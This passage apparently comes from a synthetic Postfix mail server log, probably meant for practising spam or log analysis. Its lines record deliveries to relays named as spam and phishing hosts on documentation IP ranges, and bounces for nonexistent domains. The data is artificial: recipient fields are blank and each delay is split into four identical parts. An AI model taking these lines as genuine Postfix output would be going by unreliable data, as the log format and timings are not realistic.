08:02:25 server postfix/smtp[22631]: 0D28DF5369: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.42, delays=0.605/0.605/0.605/0.605, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 565DDB) +Jul 05 08:02:25 server postfix/smtp[27928]: ADBE5DB7FF: to=, relay=none, delay=2.53, delays=0.6325/0.6325/0.6325/0.6325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:26 server postfix/smtp[20695]: 4C807DCE94: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.34, delays=0.585/0.585/0.585/0.585, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1A3750) +Jul 05 08:02:26 server postfix/smtp[21986]: 6F7B17F2EA: to=, relay=none, delay=1.95, delays=0.4875/0.4875/0.4875/0.4875, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:26 server postfix/smtp[25944]: AF8E424B35: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.83, delays=0.2075/0.2075/0.2075/0.2075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3413EE) +Jul 05 08:02:27 server postfix/smtp[21890]: FAA1F7AA0C: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.95, delays=0.4875/0.4875/0.4875/0.4875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CFAE5E) +Jul 05 08:02:28 server postfix/smtp[20579]: EDC77CD04C: to=, relay=none, delay=2.03, delays=0.5075/0.5075/0.5075/0.5075, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:28 server postfix/smtp[20718]: 488E714325: to=, relay=none, delay=0.88, delays=0.22/0.22/0.22/0.22, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:28 server postfix/smtp[23119]: 731E5F4671: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 606502) +Jul 05 08:02:28 server postfix/smtp[24739]: 48E0383D50: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.51, delays=0.1275/0.1275/0.1275/0.1275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 74E298) +Jul 05 08:02:28 server postfix/smtp[27311]: DDB5A93270: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.94, delays=0.235/0.235/0.235/0.235, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AB3B01) +Jul 05 08:02:29 server postfix/smtp[23997]: 06130A9AD2: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.24, delays=0.31/0.31/0.31/0.31, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 28178A) +Jul 05 08:02:30 server postfix/smtp[20537]: F0D43FD861: to=, relay=none, delay=2.35, delays=0.5875/0.5875/0.5875/0.5875, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:30 server postfix/smtp[22945]: 7DDFB459F4: to=, relay=example.com[203.0.113.111]:25, delay=2.74, delays=0.685/0.685/0.685/0.685, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B3E852) +Jul 05 08:02:30 server postfix/smtp[27023]: 2158EC0917: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.88, delays=0.47/0.47/0.47/0.47, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6B5C40) +Jul 05 08:02:30 server systemd[1]: Starting daily clean up activities... +Jul 05 08:02:31 server postfix/smtp[22684]: FD2117B8B7: to=, relay=spam-source.biz[203.0.113.111]:25, delay=0.51, delays=0.1275/0.1275/0.1275/0.1275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D8D568) +Jul 05 08:02:31 server postfix/smtp[24465]: 0983E343FD: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.44, delays=0.61/0.61/0.61/0.61, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 43EAB2) +Jul 05 08:02:31 server postfix/smtp[28835]: 3F649CC85D: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.96, delays=0.49/0.49/0.49/0.49, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C01457) +Jul 05 08:02:32 server postfix/smtp[27036]: D429283F76: to=, relay=example.com[192.0.2.15]:25, delay=2.97, delays=0.7425/0.7425/0.7425/0.7425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 99E85D) +Jul 05 08:02:33 server postfix/smtp[20621]: 69334AA530: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.61, delays=0.6525/0.6525/0.6525/0.6525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 059294) +Jul 05 08:02:33 server postfix/smtp[22150]: 9CEE528843: to=, relay=none, delay=2.61, delays=0.6525/0.6525/0.6525/0.6525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:33 server postfix/smtp[22250]: 714D2B99B4: to=, relay=example.com[203.0.113.88]:25, delay=1.82, delays=0.455/0.455/0.455/0.455, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CCE39C) +Jul 05 08:02:33 server postfix/smtp[24444]: 7D06371F6B: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.86, delays=0.215/0.215/0.215/0.215, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5F09A0) +Jul 05 08:02:34 server postfix/smtp[21480]: E2EB90EB4D: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.12, delays=0.28/0.28/0.28/0.28, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FCC8FF) +Jul 05 08:02:35 server postfix/smtp[25081]: B9460F8A24: to=, relay=none, delay=1.38, delays=0.345/0.345/0.345/0.345, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:36 server postfix/smtp[24940]: 46377E4745: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.61, delays=0.4025/0.4025/0.4025/0.4025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 262859) +Jul 05 08:02:36 server postfix/smtp[25955]: ABEAB7223D: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.1, delays=0.275/0.275/0.275/0.275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7C3182) +Jul 05 08:02:36 server postfix/smtp[26106]: A1A6DF0FC7: to=, relay=example.com[203.0.113.111]:25, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BEABCC) +Jul 05 08:02:36 server postfix/smtp[29494]: E0EF3E655F: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.83, delays=0.4575/0.4575/0.4575/0.4575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1C9D0A) +Jul 05 08:02:37 server postfix/smtp[27841]: 3C651697B2: to=, relay=example.com[203.0.113.111]:25, delay=1.15, delays=0.2875/0.2875/0.2875/0.2875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8536FF) +Jul 05 08:02:38 server postfix/smtp[20531]: D562199A08: to=, relay=none, delay=1.28, delays=0.32/0.32/0.32/0.32, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:38 server postfix/smtp[20640]: 7428BA8AF7: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.75, delays=0.6875/0.6875/0.6875/0.6875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5863FB) +Jul 05 08:02:38 server postfix/smtp[20866]: 4E3DC87B91: to=, relay=none, delay=2.25, delays=0.5625/0.5625/0.5625/0.5625, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:38 server postfix/smtp[24022]: 1ACC46104A: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.51, delays=0.6275/0.6275/0.6275/0.6275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1C3553) +Jul 05 08:02:39 server postfix/smtp[20061]: E5B20F2E36: to=, relay=example.com[198.51.100.23]:25, delay=1.78, delays=0.445/0.445/0.445/0.445, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 68AE97) +Jul 05 08:02:40 server postfix/smtp[22876]: 7BABEA52B6: to=, relay=example.com[192.0.2.15]:25, delay=2.35, delays=0.5875/0.5875/0.5875/0.5875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2ADF0C) +Jul 05 08:02:41 server postfix/smtp[20798]: 946EBB56A3: to=, relay=example.com[192.0.2.15]:25, delay=1.35, delays=0.3375/0.3375/0.3375/0.3375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F1F096) +Jul 05 08:02:42 server postfix/smtp[20163]: 634B9FC6A6: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.98, delays=0.745/0.745/0.745/0.745, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 86675B) +Jul 05 08:02:42 server postfix/smtp[20856]: 14101C1A63: to=, relay=none, delay=1.78, delays=0.445/0.445/0.445/0.445, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:02:42 server postfix/smtp[24126]: E19AB5AD97: to=, relay=none, delay=2.61, delays=0.6525/0.6525/0.6525/0.6525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:42 server postfix/smtp[25182]: F485158264: to=, relay=example.com[192.0.2.15]:25, delay=1.38, delays=0.345/0.345/0.345/0.345, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B92F52) +Jul 05 08:02:42 server postfix/smtp[26405]: 0148E92636: to=, relay=none, delay=2.54, delays=0.635/0.635/0.635/0.635, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:02:43 server postfix/smtp[20636]: 78457F643D: to=, relay=example.com[192.0.2.15]:25, delay=1.68, delays=0.42/0.42/0.42/0.42, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C031DF) +Jul 05 08:02:43 server postfix/smtp[22103]: 86BD1EECAD: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.58, delays=0.645/0.645/0.645/0.645, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A76AC1) +Jul 05 08:02:43 server postfix/smtp[28632]: 3EA4A9C9B5: to=, relay=none, delay=2.75, delays=0.6875/0.6875/0.6875/0.6875, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:44 server postfix/smtp[24088]: 02DECF7BA4: to=, relay=none, delay=1.15, delays=0.2875/0.2875/0.2875/0.2875, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:45 server postfix/smtp[20397]: D26CB75336: to=, relay=example.com[198.51.100.23]:25, delay=2.45, delays=0.6125/0.6125/0.6125/0.6125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7DCD2E) +Jul 05 08:02:45 server postfix/smtp[21283]: 199CCA84EF: to=, relay=none, delay=2.72, delays=0.68/0.68/0.68/0.68, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:02:45 server postfix/smtp[24559]: AE4F4B7CF7: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.69, delays=0.6725/0.6725/0.6725/0.6725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F21DCA) +Jul 05 08:02:46 server postfix/smtp[20075]: 5C463A3DBF: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.37, delays=0.3425/0.3425/0.3425/0.3425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C1857A) +Jul 05 08:02:47 server postfix/smtp[22223]: 34877C0A66: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.77, delays=0.4425/0.4425/0.4425/0.4425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AFCBAE) +Jul 05 08:02:47 server postfix/smtp[23346]: 26D9871F9D: to=, relay=example.com[203.0.113.111]:25, delay=2.28, delays=0.57/0.57/0.57/0.57, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E83019) +Jul 05 08:02:47 server postfix/smtp[28397]: 48B30400DB: to=, relay=none, delay=2.07, delays=0.5175/0.5175/0.5175/0.5175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:48 server postfix/smtp[21031]: BA2D2EBDD1: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.24, delays=0.56/0.56/0.56/0.56, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 93B2F8) +Jul 05 08:02:48 server postfix/smtp[29211]: 26B56D7347: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.54, delays=0.635/0.635/0.635/0.635, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 50B937) +Jul 05 08:02:48 server postfix/smtp[29774]: 0AF03C71B4: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.92, delays=0.48/0.48/0.48/0.48, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6DB4FE) +Jul 05 08:02:49 server postfix/smtp[25243]: DB713C6E39: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.09, delays=0.5225/0.5225/0.5225/0.5225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 488A34) +Jul 05 08:02:49 server postfix/smtp[26354]: C098A1CEE8: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.61, delays=0.4025/0.4025/0.4025/0.4025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B74DE3) +Jul 05 08:02:50 server postfix/smtp[23876]: C1124BC674: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.26, delays=0.565/0.565/0.565/0.565, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 408333) +Jul 05 08:02:51 server postfix/smtp[20383]: BE94B45A85: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.6, delays=0.4/0.4/0.4/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4B6E24) +Jul 05 08:02:51 server postfix/smtp[24859]: 5B1A0BE53D: to=, relay=none, delay=0.77, delays=0.1925/0.1925/0.1925/0.1925, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:02:52 server postfix/smtp[24658]: 93370A0813: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.57, delays=0.3925/0.3925/0.3925/0.3925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D7A021) +Jul 05 08:02:52 server postfix/smtp[24691]: FD520E8B2E: to=, relay=none, delay=0.63, delays=0.1575/0.1575/0.1575/0.1575, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:52 server postfix/smtp[28868]: 7B3E7ED363: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.23, delays=0.5575/0.5575/0.5575/0.5575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8BC0CE) +Jul 05 08:02:53 server postfix/smtp[25493]: E59DF4820F: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.3, delays=0.575/0.575/0.575/0.575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D414BE) +Jul 05 08:02:53 server postfix/smtp[26865]: 040D29667F: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=2.69, delays=0.6725/0.6725/0.6725/0.6725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1A364E) +Jul 05 08:02:53 server postfix/smtp[27524]: AD6325555E: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.48, delays=0.37/0.37/0.37/0.37, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8DB021) +Jul 05 08:02:53 server postfix/smtp[28483]: 8AF7CCE2D3: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.01, delays=0.5025/0.5025/0.5025/0.5025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 95E8CC) +Jul 05 08:02:55 server postfix/smtp[24698]: D7B90794D3: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.15, delays=0.2875/0.2875/0.2875/0.2875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CEC40B) +Jul 05 08:02:55 server postfix/smtp[26401]: E57EBB8FBA: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D8E375) +Jul 05 08:02:57 server postfix/smtp[24522]: B640E74D3E: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.93, delays=0.4825/0.4825/0.4825/0.4825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8A8E38) +Jul 05 08:02:57 server postfix/smtp[25035]: DB53EBCC1A: to=, relay=none, delay=0.88, delays=0.22/0.22/0.22/0.22, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:02:57 server postfix/smtp[25194]: DCBD3DD3DB: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.83, delays=0.4575/0.4575/0.4575/0.4575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3A3D1A) +Jul 05 08:02:58 server postfix/smtp[22997]: 4AFDF69A80: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.65, delays=0.6625/0.6625/0.6625/0.6625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C8A8EC) +Jul 05 08:02:58 server postfix/smtp[23405]: 9AEE2B29C6: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.32, delays=0.33/0.33/0.33/0.33, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AC2714) +Jul 05 08:02:58 server postfix/smtp[23694]: 594CAF7728: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.03, delays=0.5075/0.5075/0.5075/0.5075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B513F7) +Jul 05 08:02:58 server postfix/smtp[28533]: DD7EABDD18: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.54, delays=0.635/0.635/0.635/0.635, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E8DBC2) +Jul 05 08:02:59 server postfix/smtp[25406]: 1F47D5EA05: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.81, delays=0.4525/0.4525/0.4525/0.4525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E65142) +Jul 05 08:02:59 server postfix/smtp[25511]: 0A8E6FF4AF: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.33, delays=0.5825/0.5825/0.5825/0.5825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5251BD) +Jul 05 08:02:59 server postfix/smtp[26777]: 308A0DB57D: to=, relay=example.com[203.0.113.88]:25, delay=2.78, delays=0.695/0.695/0.695/0.695, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5CE1FE) +Jul 05 08:03:00 server postfix/smtp[20748]: 19C70A65C2: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.01, delays=0.5025/0.5025/0.5025/0.5025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B271BC) +Jul 05 08:03:00 server postfix/smtp[22260]: 2082A30F4B: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.0, delays=0.25/0.25/0.25/0.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 569463) +Jul 05 08:03:00 server postfix/smtp[27544]: 466295AD7A: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1DD810) +Jul 05 08:03:00 server postfix/smtp[29213]: FF17C1CEEC: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.53, delays=0.3825/0.3825/0.3825/0.3825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C4C7BF) +Jul 05 08:03:00 server postfix/smtp[29349]: AC8CF11E5D: to=, relay=none, delay=1.77, delays=0.4425/0.4425/0.4425/0.4425, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:01 server postfix/smtp[20644]: 6B2DDCCCA9: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=3.0, delays=0.75/0.75/0.75/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as ED95A0) +Jul 05 08:03:01 server postfix/smtp[26806]: 189DAF7FDA: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.21, delays=0.3025/0.3025/0.3025/0.3025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 83D4A9) +Jul 05 08:03:01 server postfix/smtp[29772]: AE649EA6EA: to=, relay=none, delay=1.62, delays=0.405/0.405/0.405/0.405, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:01 server postfix/smtp[29863]: E7EA9C4A0D: to=, relay=example.com[203.0.113.111]:25, delay=2.44, delays=0.61/0.61/0.61/0.61, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DE3224) +Jul 05 08:03:02 server postfix/smtp[20223]: 21B4684262: to=, relay=none, delay=2.01, delays=0.5025/0.5025/0.5025/0.5025, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:03 server postfix/smtp[25304]: 00626419A3: to=, relay=none, delay=2.99, delays=0.7475/0.7475/0.7475/0.7475, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:03 server postfix/smtp[26664]: FAA9DEA7E9: to=, relay=none, delay=2.23, delays=0.5575/0.5575/0.5575/0.5575, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:03 server postfix/smtp[26671]: 8C98DB9251: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.32, delays=0.58/0.58/0.58/0.58, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E5F6DB) +Jul 05 08:03:03 server postfix/smtp[28822]: D76B5AB687: to=, relay=none, delay=1.81, delays=0.4525/0.4525/0.4525/0.4525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:05 server postfix/smtp[21381]: 4AD9D73945: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.63, delays=0.4075/0.4075/0.4075/0.4075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4218E4) +Jul 05 08:03:05 server postfix/smtp[26664]: 821EFD65F9: to=, relay=none, delay=2.18, delays=0.545/0.545/0.545/0.545, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:05 server postfix/smtp[27445]: 871C2169CE: to=, relay=example.com[203.0.113.88]:25, delay=1.79, delays=0.4475/0.4475/0.4475/0.4475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6A6265) +Jul 05 08:03:06 server postfix/smtp[20391]: 8E4EB8EDD3: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.37, delays=0.5925/0.5925/0.5925/0.5925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D9B2AD) +Jul 05 08:03:06 server postfix/smtp[25015]: 7622979D7F: to=, relay=none, delay=2.94, delays=0.735/0.735/0.735/0.735, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:06 server postfix/smtp[27697]: AB9CFCAD23: to=, relay=none, delay=0.94, delays=0.235/0.235/0.235/0.235, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:07 server postfix/smtp[22292]: 3BB80F316F: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.48, delays=0.37/0.37/0.37/0.37, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B41335) +Jul 05 08:03:07 server postfix/smtp[22608]: 7B559F347C: to=, relay=example.com[203.0.113.111]:25, delay=0.72, delays=0.18/0.18/0.18/0.18, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7A1DDA) +Jul 05 08:03:07 server postfix/smtp[23834]: 32937F0891: to=, relay=none, delay=2.41, delays=0.6025/0.6025/0.6025/0.6025, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:07 server postfix/smtp[25035]: 8B5C0A548A: to=, relay=none, delay=1.01, delays=0.2525/0.2525/0.2525/0.2525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:08 server postfix/smtp[26418]: EFE083EF49: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.46, delays=0.615/0.615/0.615/0.615, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9F20AD) +Jul 05 08:03:09 server postfix/smtp[20819]: 5479582619: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A70060) +Jul 05 08:03:09 server postfix/smtp[21081]: 4F2B60B83D: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F08FDD) +Jul 05 08:03:10 server postfix/smtp[22378]: A5E4345960: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.23, delays=0.5575/0.5575/0.5575/0.5575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0798FA) +Jul 05 08:03:10 server postfix/smtp[24738]: 1BE806757E: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.2, delays=0.55/0.55/0.55/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 87FE1D) +Jul 05 08:03:10 server postfix/smtp[26365]: 0E1AB16698: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.11, delays=0.2775/0.2775/0.2775/0.2775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F5AF8C) +Jul 05 08:03:10 server postfix/smtp[28382]: 0B78E8BF63: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.33, delays=0.5825/0.5825/0.5825/0.5825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7BEFD2) +Jul 05 08:03:11 server postfix/smtp[20804]: 36A34C4C31: to=, relay=none, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:11 server postfix/smtp[26191]: 25E53B82C0: to=, relay=phish-central.org[203.0.113.88]:25, delay=0.9, delays=0.225/0.225/0.225/0.225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1FF8A3) +Jul 05 08:03:11 server postfix/smtp[28018]: 9A8E092803: to=, relay=example.com[192.0.2.15]:25, delay=2.81, delays=0.7025/0.7025/0.7025/0.7025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2DE4B2) +Jul 05 08:03:12 server postfix/smtp[21207]: 3E22EA6B47: to=, relay=none, delay=1.02, delays=0.255/0.255/0.255/0.255, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:13 server postfix/smtp[22298]: 8D7BAEAAD0: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.46, delays=0.615/0.615/0.615/0.615, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5A765F) +Jul 05 08:03:13 server postfix/smtp[23973]: 3FF59AB248: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.97, delays=0.4925/0.4925/0.4925/0.4925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BB705E) +Jul 05 08:03:13 server postfix/smtp[24227]: B5ABE739DC: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.54, delays=0.385/0.385/0.385/0.385, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E99252) +Jul 05 08:03:14 server postfix/smtp[21731]: 5FB648E6D6: to=, relay=example.com[198.51.100.23]:25, delay=0.5, delays=0.125/0.125/0.125/0.125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D6A407) +Jul 05 08:03:14 server postfix/smtp[28988]: 6A7C3E2504: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.45, delays=0.3625/0.3625/0.3625/0.3625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E6C370) +Jul 05 08:03:14 server postfix/smtp[29255]: CC3EF59189: to=, relay=none, delay=2.2, delays=0.55/0.55/0.55/0.55, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:14 server postfix/smtp[29631]: 3F621C1512: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.93, delays=0.4825/0.4825/0.4825/0.4825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EB4F6D) +Jul 05 08:03:15 server postfix/smtp[20453]: C821595753: to=, 